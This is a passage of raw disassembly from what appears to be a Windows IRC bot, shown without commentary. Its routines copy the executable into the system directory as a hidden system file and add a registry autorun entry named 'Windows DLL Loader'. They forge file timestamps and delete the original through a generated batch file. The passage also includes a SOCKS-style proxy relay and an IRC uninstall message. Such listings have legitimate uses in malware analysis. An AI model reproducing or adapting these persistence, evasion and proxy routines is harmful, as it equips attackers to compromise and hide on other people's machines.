sub_40D871:loc_40DB71p var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_20C] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset dword_41DC40 lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_104] push eax call sub_4105FB pop ecx lea eax, [ebp+var_104] push eax lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_20C] push eax call dword_4170AC ; DeleteFileA push offset dword_4182AC lea eax, [ebp+var_20C] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short locret_406AE5 push [ebp+var_108] push 1 push 2 push offset dword_418DE0 call sub_416B7C ; fwrite add esp, 10h push [ebp+var_108] call sub_416B82 ; fclose pop ecx lea eax, [ebp+var_20C] push eax call sub_406B81 pop ecx locret_406AE5: ; CODE XREF: sub_406A23+90j leave retn sub_406A23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AE7 proc near ; CODE XREF: sub_40D043+13Dp ; sub_40D871+2F3p var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_20C] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset dword_41DC40 lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_104] push eax call sub_4105FB pop ecx lea eax, [ebp+var_104] push eax lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset aRb ; "rb" lea eax, [ebp+var_20C] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short loc_406B7D push [ebp+var_108] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_406B7F ; --------------------------------------------------------------------------- loc_406B7D: ; CODE XREF: sub_406AE7+83j xor eax, eax locret_406B7F: ; CODE XREF: sub_406AE7+94j leave retn sub_406AE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B81 proc near ; CODE XREF: sub_406A23+BCp ; sub_406E8E+246p var_120 = dword ptr -120h var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 120h push 104h lea eax, [ebp+var_11C] push eax call dword_417040 ; GetWindowsDirectoryA push offset dword_418DE8 lea eax, [ebp+var_11C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push 0 push 80h push 3 push 0 push 1 push 80000000h lea eax, [ebp+var_11C] push eax call dword_417044 ; CreateFileA mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_406C4F lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+var_120] call dword_417048 ; GetFileTime push [ebp+var_120] call dword_4170A4 ; CloseHandle push 0 push 80h push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call dword_417044 ; CreateFileA mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_406C4F lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+var_120] call dword_41704C ; SetFileTime push [ebp+var_120] call dword_4170A4 ; CloseHandle locret_406C4F: ; CODE XREF: sub_406B81+5Aj ; sub_406B81+A8j leave retn sub_406B81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C51 proc near ; CODE XREF: sub_406E8E+133p ; sub_406E8E+214p ... var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 108h push 0 lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call dword_417014 ; RegCreateKeyExA cmp [ebp+arg_0], 0 jz short loc_406CE1 push 104h lea eax, [ebp+var_108] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_108] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push [ebp+arg_8] lea eax, [ebp+var_108] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_108] push eax call dword_41703C ; lstrlen inc eax push eax lea eax, [ebp+var_108] push eax push 1 push 0 push [ebp+arg_4] push [ebp+var_4] call dword_417010 ; RegSetValueExA jmp short loc_406CED ; --------------------------------------------------------------------------- loc_406CE1: ; CODE XREF: sub_406C51+30j push [ebp+arg_4] push [ebp+var_4] call dword_417004 ; RegDeleteValueA loc_406CED: ; CODE XREF: sub_406C51+8Ej push [ebp+var_4] call dword_417028 ; RegCloseKey leave retn sub_406C51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406CF8 proc near ; CODE XREF: sub_406D47+2Bp ; sub_406E8E+253p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov [ebp+var_8], eax push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_C], eax and [ebp+var_4], 0 jmp short loc_406D1D ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_406CF8:loc_406D40j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_406D1D: ; CODE XREF: sub_406CF8+1Cj mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jnb short loc_406D42 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 5Ch jnz short loc_406D40 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax+1] mov [ebp+var_8], eax loc_406D40: ; CODE XREF: sub_406CF8+39j jmp short loc_406D16 ; --------------------------------------------------------------------------- loc_406D42: ; CODE XREF: sub_406CF8+2Bj mov eax, [ebp+var_8] leave retn sub_406CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D47 proc near ; CODE XREF: sub_406E8E+9p ; sub_407148+9p var_108 = byte ptr -108h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 108h push 104h lea eax, [ebp+var_108] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA lea eax, [ebp+var_108] push eax call sub_406CF8 pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] and byte ptr [eax], 0 lea eax, [ebp+var_108] push eax call dword_417038 ; SetCurrentDirectoryA leave retn sub_406D47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D90 proc near ; CODE XREF: sub_406E8E+25Ap ; sub_407148+168p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push 8 push 4 call sub_4103F5 pop ecx pop ecx mov [ebp+var_20], eax and [ebp+var_1C], 0 loc_406DA8: ; CODE XREF: sub_406D90:loc_406DDFj push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_1C] mov [ebp+ecx+var_18], al mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax mov eax, [ebp+var_1C] cmp eax, [ebp+var_20] jnz short loc_406DDF push offset a_bat ; ".bat" mov eax, [ebp+var_1C] lea eax, [ebp+eax+var_18] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_406DE1 ; --------------------------------------------------------------------------- loc_406DDF: ; CODE XREF: sub_406D90+37j jmp short loc_406DA8 ; --------------------------------------------------------------------------- loc_406DE1: ; CODE XREF: sub_406D90+4Dj push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax push 400h call sub_416B46 ; malloc pop ecx mov [ebp+var_24], eax lea eax, [ebp+var_18] push eax call dword_4170AC ; DeleteFileA push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_18] push eax call dword_417044 ; CreateFileA mov [ebp+var_28], eax cmp [ebp+var_28], 0FFFFFFFFh jnz short loc_406E2B xor eax, eax jmp short locret_406E8C ; --------------------------------------------------------------------------- loc_406E2B: ; CODE XREF: sub_406D90+95j lea eax, [ebp+var_18] push eax push [ebp+arg_0] push [ebp+arg_0] push [ebp+arg_0] push offset a@echoOffDelete ; "@echo off\r\n:deleteagain\r\ndel /A:H /F %s"... push [ebp+var_24] call dword_4171E0 ; wsprintfA add esp, 18h and [ebp+var_4], 0 push 0 lea eax, [ebp+var_4] push eax push [ebp+var_24] call sub_416B40 ; strlen pop ecx push eax push [ebp+var_24] push [ebp+var_28] call dword_417068 ; WriteFile push [ebp+var_28] call dword_4170A4 ; CloseHandle push 0 push 0 push 0 lea eax, [ebp+var_18] push eax push offset aOpen ; "open" push 0 call dword_4171D0 push 1 pop eax locret_406E8C: ; CODE XREF: sub_406D90+99j leave retn sub_406D90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406E8E proc near ; CODE XREF: sub_4167F1:loc_4169E1p var_368 = dword ptr -368h var_338 = word ptr -338h var_324 = byte ptr -324h var_220 = dword ptr -220h var_21C = byte ptr -21Ch var_118 = byte ptr -118h var_14 = dword ptr -14h var_10 = byte ptr -10h push ebp mov ebp, esp sub esp, 368h call sub_406D47 push 104h lea eax, [ebp+var_324] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA and [ebp+var_14], 0 and [ebp+var_220], 0 jmp short loc_406ED1 ; --------------------------------------------------------------------------- loc_406EC4: ; CODE XREF: sub_406E8E:loc_406FF8j mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_406ED1: ; CODE XREF: sub_406E8E+34j mov eax, [ebp+var_220] shl eax, 1 cmp off_418B88[eax*4], 0 jz loc_406FFD mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax push 104h lea eax, [ebp+var_21C] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_21C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_21C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_324] push eax lea eax, [ebp+var_21C] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_406FF8 mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] push 1 call sub_406C51 add esp, 0Ch mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] call sub_4105AD pop ecx jmp locret_407146 ; --------------------------------------------------------------------------- loc_406FF8: ; CODE XREF: sub_406E8E+E3j jmp loc_406EC4 ; --------------------------------------------------------------------------- loc_406FFD: ; CODE XREF: sub_406E8E+53j push [ebp+var_14] push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_14], eax push 104h lea eax, [ebp+var_118] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_118] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_118] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_118] push eax call dword_4170AC ; DeleteFileA loc_40707C: ; DATA XREF: .data:0041AD4Co ; .data:0041AD60o ... push 0 lea eax, [ebp+var_118] push eax lea eax, [ebp+var_324] push eax call dword_417060 ; CopyFileA test eax, eax jnz short loc_4070AF push offset dword_41EB2C push offset aWindowsDllLoad ; "Windows DLL Loader" push 1 call sub_406C51 add esp, 0Ch jmp locret_407146 ; --------------------------------------------------------------------------- loc_4070AF: ; CODE XREF: sub_406E8E+206j push 4 lea eax, [ebp+var_118] push eax call dword_4170A8 ; SetFileAttributesA push 2 lea eax, [ebp+var_118] push eax call dword_4170A8 ; SetFileAttributesA lea eax, [ebp+var_118] push eax call sub_406B81 pop ecx lea eax, [ebp+var_324] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx push 44h push 0 lea eax, [ebp+var_368] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_368], 44h and [ebp+var_338], 0 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_368] push eax push 0 push 0 push 28h push 1 push 0 push 0 lea eax, [ebp+var_118] push eax push 0 call dword_41707C ; CreateProcessA call dword_417254 ; WSACleanup push 0 call sub_416BFC ; exit locret_407146: ; CODE XREF: sub_406E8E+165j ; sub_406E8E+21Cj leave retn sub_406E8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407148 proc near ; CODE XREF: sub_402A32+7BBp ; sub_40A9CF+145Fp ... var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch call sub_406D47 push 104h lea eax, [ebp+var_20C] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA and [ebp+var_108], 0 jmp short loc_407187 ; --------------------------------------------------------------------------- loc_40717A: ; CODE XREF: sub_407148:loc_4072DBj mov eax, [ebp+var_108] inc eax mov [ebp+var_108], eax loc_407187: ; CODE XREF: sub_407148+30j mov eax, [ebp+var_108] shl eax, 1 cmp off_418B88[eax*4], 0 jz loc_4072E0 push 104h lea eax, [ebp+var_104] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_104] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_104] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_104] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_4072DB mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] push 0 call sub_406C51 add esp, 0Ch mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_20C] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx test eax, eax jz short loc_4072D9 push offset dword_41EB2C push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_40D6CB pop ecx pop ecx call dword_417254 ; WSACleanup push 0 call dword_41705C ; ExitProcess loc_4072D9: ; CODE XREF: sub_407148+170j jmp short locret_40732B ; --------------------------------------------------------------------------- loc_4072DB: ; CODE XREF: sub_407148+D8j jmp loc_40717A ; --------------------------------------------------------------------------- loc_4072E0: ; CODE XREF: sub_407148+4Fj push offset dword_41EB2C push offset aWindowsDllLoad ; "Windows DLL Loader" push 0 call sub_406C51 add esp, 0Ch lea eax, [ebp+var_20C] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx test eax, eax jz short locret_40732B push offset dword_41EB2C push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_40D6CB pop ecx pop ecx call dword_417254 ; WSACleanup push 0 call dword_41705C ; ExitProcess locret_40732B: ; CODE XREF: sub_407148:loc_4072D9j ; sub_407148+1C2j leave retn sub_407148 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40732D proc near ; DATA XREF: sub_40764D+145o var_16F0 = dword ptr -16F0h var_16EC = dword ptr -16ECh var_16E8 = dword ptr -16E8h var_16E4 = dword ptr -16E4h var_16E0 = byte ptr -16E0h var_6E0 = byte ptr -6E0h var_5E0 = dword ptr -5E0h var_5DC = byte ptr -5DCh var_5D4 = dword ptr -5D4h var_5D0 = byte ptr -5D0h var_5CF = byte ptr -5CFh var_5CE = dword ptr -5CEh var_5C8 = byte ptr -5C8h var_1C8 = dword ptr -1C8h var_1BE = byte ptr -1BEh var_1AE = byte ptr -1AEh var_1B = byte ptr -1Bh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 16F0h call sub_416BC0 push 1BDh push [ebp+arg_0] lea eax, [ebp+var_1C8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov eax, [ebp+var_1C8] mov [ebp+var_5D4], eax push 0 push 408h lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call dword_417248 ; recv mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_40738F cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_407396 loc_40738F: ; CODE XREF: sub_40732D+5Aj xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_407396: ; CODE XREF: sub_40732D+60j movzx eax, [ebp+var_5D0] cmp eax, 4 jnz short loc_4073BA movzx eax, [ebp+var_5CF] cmp eax, 1 jnz short loc_4073BA mov [ebp+var_16EC], 1 jmp short loc_4073C1 ; --------------------------------------------------------------------------- loc_4073BA: ; CODE XREF: sub_40732D+73j ; sub_40732D+7Fj and [ebp+var_16EC], 0 loc_4073C1: ; CODE XREF: sub_40732D+8Bj mov eax, [ebp+var_16EC] mov [ebp+var_4], eax movsx eax, [ebp+var_1BE] test eax, eax jz short loc_4073F5 push 10h lea eax, [ebp+var_1BE] push eax lea eax, [ebp+var_5C8] push eax call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jz short loc_4073F5 and [ebp+var_4], 0 loc_4073F5: ; CODE XREF: sub_40732D+A6j ; sub_40732D+C2j movsx eax, [ebp+var_1B] test eax, eax jz short loc_407456 lea eax, [ebp+var_6E0] push eax push [ebp+var_5D4] call sub_4044F7 pop ecx pop ecx cmp [ebp+var_4], 0 jz short loc_407423 mov [ebp+var_16F0], offset byte_41DE30 jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407423: ; CODE XREF: sub_40732D+E8j mov [ebp+var_16F0], offset dword_418EEC loc_40742D: ; CODE XREF: sub_40732D+F4j push [ebp+var_16F0] movzx eax, [ebp+var_5D0] push eax lea eax, [ebp+var_6E0] push eax push offset dword_418EB8 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 14h loc_407456: ; CODE XREF: sub_40732D+CEj cmp [ebp+var_4], 0 jnz short loc_4074A0 push 8 push 0 lea eax, [ebp+var_5D0] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_5CF], 5Bh push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch push [ebp+var_5D4] call sub_40538D pop ecx xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_4074A0: ; CODE XREF: sub_40732D+12Dj push 0Ah lea eax, [ebp+var_5DC] push eax push [ebp+var_5CE] call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 2710h push 0 lea eax, [ebp+var_5DC] push eax push [ebp+var_5CE+2] call dword_41721C ; inet_ntoa push eax call sub_4050EA add esp, 10h mov [ebp+var_5E0], eax push 8 push 0 lea eax, [ebp+var_5D0] push eax call sub_416B6A ; memset add esp, 0Ch cmp [ebp+var_5E0], 0 jnz short loc_407537 mov [ebp+var_5CF], 5Bh push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch push [ebp+var_5D4] call sub_40538D pop ecx xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_407537: ; CODE XREF: sub_40732D+1D7j mov [ebp+var_5CF], 5Ah push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch loc_407555: ; CODE XREF: sub_40732D+2FDj push [ebp+var_5D4] call sub_40447B pop ecx test eax, eax jz short loc_4075BD push 0 push 1000h lea eax, [ebp+var_16E0] push eax push [ebp+var_5D4] call dword_417248 ; recv mov [ebp+var_16E4], eax cmp [ebp+var_16E4], 0 jz short loc_407597 cmp [ebp+var_16E4], 0FFFFFFFFh jnz short loc_40759C loc_407597: ; CODE XREF: sub_40732D+25Fj jmp loc_40762F ; --------------------------------------------------------------------------- loc_40759C: ; CODE XREF: sub_40732D+268j push [ebp+var_16E4] lea eax, [ebp+var_16E0] push eax push [ebp+var_5E0] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_4075BD jmp short loc_40762F ; --------------------------------------------------------------------------- loc_4075BD: ; CODE XREF: sub_40732D+236j ; sub_40732D+28Cj push [ebp+var_5E0] call sub_40447B pop ecx test eax, eax jz short loc_407622 push 0 push 1000h lea eax, [ebp+var_16E0] push eax push [ebp+var_5E0] call dword_417248 ; recv mov [ebp+var_16E8], eax cmp [ebp+var_16E8], 0 jz short loc_4075FF cmp [ebp+var_16E8], 0FFFFFFFFh jnz short loc_407601 loc_4075FF: ; CODE XREF: sub_40732D+2C7j jmp short loc_40762F ; --------------------------------------------------------------------------- loc_407601: ; CODE XREF: sub_40732D+2D0j push [ebp+var_16E8] lea eax, [ebp+var_16E0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_407622 jmp short loc_40762F ; --------------------------------------------------------------------------- loc_407622: ; CODE XREF: sub_40732D+29Ej ; sub_40732D+2F1j push 32h call dword_41709C ; Sleep jmp loc_407555 ; --------------------------------------------------------------------------- loc_40762F: ; CODE XREF: sub_40732D:loc_407597j ; sub_40732D+28Ej ... push [ebp+var_5D4] call sub_40538D pop ecx push [ebp+var_5E0] call sub_40538D pop ecx xor eax, eax locret_407649: ; CODE XREF: sub_40732D+64j ; sub_40732D+16Ej ... leave retn 4 sub_40732D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40764D proc near ; DATA XREF: sub_4077DD+B4o var_1CC = dword ptr -1CCh var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_1B6 = byte ptr -1B6h var_1A6 = byte ptr -1A6h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh push 1BDh push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_1BC] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_1C4], eax cmp [ebp+var_1C4], 0 jnz short loc_4076A8 push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_4077D9 ; --------------------------------------------------------------------------- loc_4076A8: ; CODE XREF: sub_40764D+46j lea eax, [ebp+var_1BC] push eax mov eax, [ebp+var_1C0] push dword ptr [eax] push offset dword_418EF8 lea eax, [ebp+var_1A6] push eax call sub_40D53F add esp, 10h loc_4076CB: ; CODE XREF: sub_40764D+B9j ; sub_40764D+E1j ... push 3E8h push [ebp+var_1C4] call sub_4048EF pop ecx pop ecx mov [ebp+var_1C8], eax mov eax, [ebp+var_1C0] cmp dword ptr [eax+4], 0 jnz short loc_4076F8 cmp [ebp+var_1C8], 0 jnz short loc_4076FD loc_4076F8: ; CODE XREF: sub_40764D+A0j jmp loc_4077BF ; --------------------------------------------------------------------------- loc_4076FD: ; CODE XREF: sub_40764D+A9j cmp [ebp+var_1C8], 0FFFFFFFFh jnz short loc_407708 jmp short loc_4076CB ; --------------------------------------------------------------------------- loc_407708: ; CODE XREF: sub_40764D+B7j push 1BDh call sub_416B46 ; malloc pop ecx mov [ebp+var_1CC], eax cmp [ebp+var_1CC], 0 jnz short loc_407730 push [ebp+var_1C8] call sub_4053B1 pop ecx jmp short loc_4076CB ; --------------------------------------------------------------------------- loc_407730: ; CODE XREF: sub_40764D+D3j mov eax, [ebp+var_1CC] mov ecx, [ebp+var_1C8] mov [eax], ecx lea eax, [ebp+var_1BC] push eax mov eax, [ebp+var_1CC] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_1B6] push eax mov eax, [ebp+var_1CC] add eax, 0Ah push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 1A3h lea eax, [ebp+var_1A6] push eax mov eax, [ebp+var_1CC] add eax, 1Ah push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_1CC] push offset sub_40732D call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_4077BA push [ebp+var_1CC] call sub_416B4C ; free pop ecx push [ebp+var_1C8] call sub_4053B1 pop ecx loc_4077BA: ; CODE XREF: sub_40764D+153j jmp loc_4076CB ; --------------------------------------------------------------------------- loc_4077BF: ; CODE XREF: sub_40764D:loc_4076F8j push [ebp+var_1C4] call sub_404CBB pop ecx push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax locret_4077D9: ; CODE XREF: sub_40764D+56j leave retn 4 sub_40764D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4077DD proc near ; CODE XREF: sub_40A9CF+17Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 jnz short loc_40780F push 0Ah lea eax, [ebp+var_8] push eax push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_8] mov [ebp+arg_4], eax loc_40780F: ; CODE XREF: sub_4077DD+Aj push 1BDh call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_407825 jmp short locret_40789E ; --------------------------------------------------------------------------- loc_407825: ; CODE XREF: sub_4077DD+44j push [ebp+arg_4] mov eax, [ebp+var_C] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_407844 mov eax, [ebp+arg_8] mov [ebp+var_10], eax jmp short loc_40784B ; --------------------------------------------------------------------------- loc_407844: ; CODE XREF: sub_4077DD+5Dj mov [ebp+var_10], offset byte_41DE30 loc_40784B: ; CODE XREF: sub_4077DD+65j push 10h push [ebp+var_10] mov eax, [ebp+var_C] add eax, 0Ah push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_C] add eax, 1Ah push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push offset dword_418F2C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_C] push offset sub_40764D call sub_4095A4 add esp, 14h locret_40789E: ; CODE XREF: sub_4077DD+46j leave retn sub_4077DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078A0 proc near ; CODE XREF: sub_40A9CF+216p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4078B8 jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078B8: ; CODE XREF: sub_4078A0+14j ; sub_4078A0:loc_4078E2j cmp [ebp+var_4], 0 jnz short loc_4078C0 jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078C0: ; CODE XREF: sub_4078A0+1Cj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_4078E0 mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 jmp short loc_4078E2 ; --------------------------------------------------------------------------- loc_4078E0: ; CODE XREF: sub_4078A0+33j jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078E2: ; CODE XREF: sub_4078A0+3Ej jmp short loc_4078B8 ; --------------------------------------------------------------------------- locret_4078E4: ; CODE XREF: sub_4078A0+16j ; sub_4078A0+1Ej ... leave retn sub_4078A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078E6 proc near ; CODE XREF: sub_407D42+Ap var_8 = dword ptr 